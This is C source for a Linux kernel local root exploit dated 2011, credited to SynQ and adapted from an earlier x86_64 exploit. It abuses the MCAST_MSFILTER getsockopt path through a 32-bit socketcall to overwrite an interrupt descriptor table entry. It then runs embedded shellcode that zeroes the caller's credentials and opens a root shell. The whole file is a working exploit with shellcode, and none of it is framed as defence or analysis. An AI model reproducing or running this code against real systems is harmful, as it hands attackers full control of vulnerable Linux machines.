/*

ABftw.c working on Debian 5. Almost no value :)

99% based on "Ac1dB1tch3z Vs Linux Kernel x86_64 0day"
Those guys rock!

SynQ
rdot.org
7/2011

*/
#include <poll.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <sched.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ipc.h> 
#include <sys/msg.h>
#include <errno.h>

#define Y0Y0_STACK_MMAP       0x100000UL
#define Y0Y0_CODE_MMAP        0x200000UL
#define Y0Y0STOP              (Y0Y0_STACK_MMAP+0xFFC)
#define J0J0S                 0x00200000UL
#define J0J0R00T              0x002000F0UL
#define PAGE_SIZE             0x1000

static char ruujhdbgatrfe345[]=
"\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
"\x0f\x01\xf8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x48\xcf";

static char ttrg0ccc[]=
"\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
"\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
"\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
"\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
"\xeb\xcc\x5e\x5b\x5f\x59\xc3";


static char buffer[1024]={[0 ... 1023]=0x11};
static int s;
volatile static socklen_t magiclen=0;

struct socketcallAT
{
  int s;
  int level;
  int optname;
  void *optval;
  volatile socklen_t *optlen;  
}__attribute__((packed));

static struct socketcallAT at;

static void fillsocketcallAT()
{
 at.s = s;
 at.level = SOL_IP;
 at.optname = MCAST_MSFILTER;
 at.optval = buffer;
 at.optlen = &magiclen;
}

static void bitch_call(struct socketcallAT *at, void *stack)
{
  asm volatile(
      "push %%ebx\t\n"
      "push %%esi\t\n"
      "push %%ecx\t\n"
      "push %%edx\t\n"
      "movl $0x66, %%eax\t\n"
      "movl $0xf, %%ebx\t\n"
      "movl %%esp, %%esi\t\n" 
      "movl %0, %%ecx\t\n"
      "movl %1, %%esp\t\n"
      "int $0x80\t\n"
      "movl %%esi, %%esp\t\n"
      "pop %%edx\t\n"
      "pop %%ecx\t\n"
      "pop %%esi\t\n"
      "pop %%ebx\t\n"
      :  : "r"(at), "r"(stack)  : "memory", "eax", "ecx", "ebx", "esi"
     );
}

static inline int get_socklen(unsigned long long addr, unsigned int stack)
{
  int socklen_l = 8 + stack - addr - 16;
  return socklen_l;
}

struct idt64from32_s 
{
  unsigned short limit;
  unsigned long base;
}__attribute__((packed));

static unsigned long long getidt()
{
  struct idt64from32_s idt;
  memset(&idt, 0x00, sizeof(struct idt64from32_s));
  asm volatile("sidt %0" : "=m"(idt));
  return idt.base | 0xFFFFFFFF00000000ULL;
}

static void __setmcbuffer(unsigned int value)
{
  int i;
  unsigned int *p = (unsigned int*)buffer;
  for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
    *(p+i) = value;
}

static unsigned int idtover[4] = 
             {0x00100000UL, 
              0x0020ee00UL, 
              0x00000000UL, 
              0x00000000UL};

static void idt_smash(unsigned long long idtbase)
{
  int i;
  unsigned int curr;
  for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
  {
    curr = idtover[i]; 
    __setmcbuffer(curr);
    magiclen =  get_socklen(idtbase + (i*4), Y0Y0STOP);
    bitch_call(&at, (void*)Y0Y0STOP);
  } 
}

static void y0y0stack()
{
  void* map = mmap((void*)Y0Y0_STACK_MMAP, 
                   PAGE_SIZE, 
                   PROT_READ|PROT_WRITE, 
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
  { perror("mmap"); exit(-1); }

}

static void y0y0code()
{
  void* map = mmap((void*)Y0Y0_CODE_MMAP, 
                   PAGE_SIZE, 

#ifdef TRY_REMAP_DEFAULT 
		   PROT_READ|PROT_WRITE,
#else
                   PROT_READ|PROT_WRITE|PROT_EXEC, 
#endif
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
  { perror("mmap"); exit(-1); }

}



int main(int argc, char*argv[])
{
  int uid,fd;
  unsigned long long *patch, idtb;
  struct pollfd pfd;

  uid = getuid();
  y0y0stack(); 
  y0y0code();

  if(1)
  {
    idtb = getidt();
    fprintf(stdout, "$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
    fprintf(stdout, "%s", "$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");   
    patch = (unsigned long long*)(ruujhdbgatrfe345 + 14);
    *patch = (unsigned long long)(J0J0R00T);

    fprintf(stdout, "%s", "$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
    memcpy((void*)J0J0S,  ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  }

  /* set shellcode level 2 */
  if(1)
  {
    fprintf(stdout, "%s", "$$$ Us1ng st4nd4rd s3ash3llz\n");
    memcpy((void*)J0J0R00T,  ttrg0ccc, sizeof(ttrg0ccc));
    *((unsigned int*)(J0J0R00T + 14)) = uid;
  }

  fprintf(stdout, "%s", "$$$ 0p3n1ng th3 m4giq p0rt4l\n");
  s = socket(AF_INET, SOCK_DGRAM, 0);
  if(s < 0)
  { perror("socket"); exit(-1); }

  fillsocketcallAT();


  if(1)
  {
    unsigned long long idtentry = idtb + (2*sizeof(unsigned long long)*0xdd);
    fprintf(stdout, "$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
    idt_smash((idtentry));
    sleep(1);
    asm volatile("int $0xdd\t\n");
  }

  if(getuid() == 0)
  {
    printf("Congrats, we made it!\n");
    system("/bin/sh");
  }

}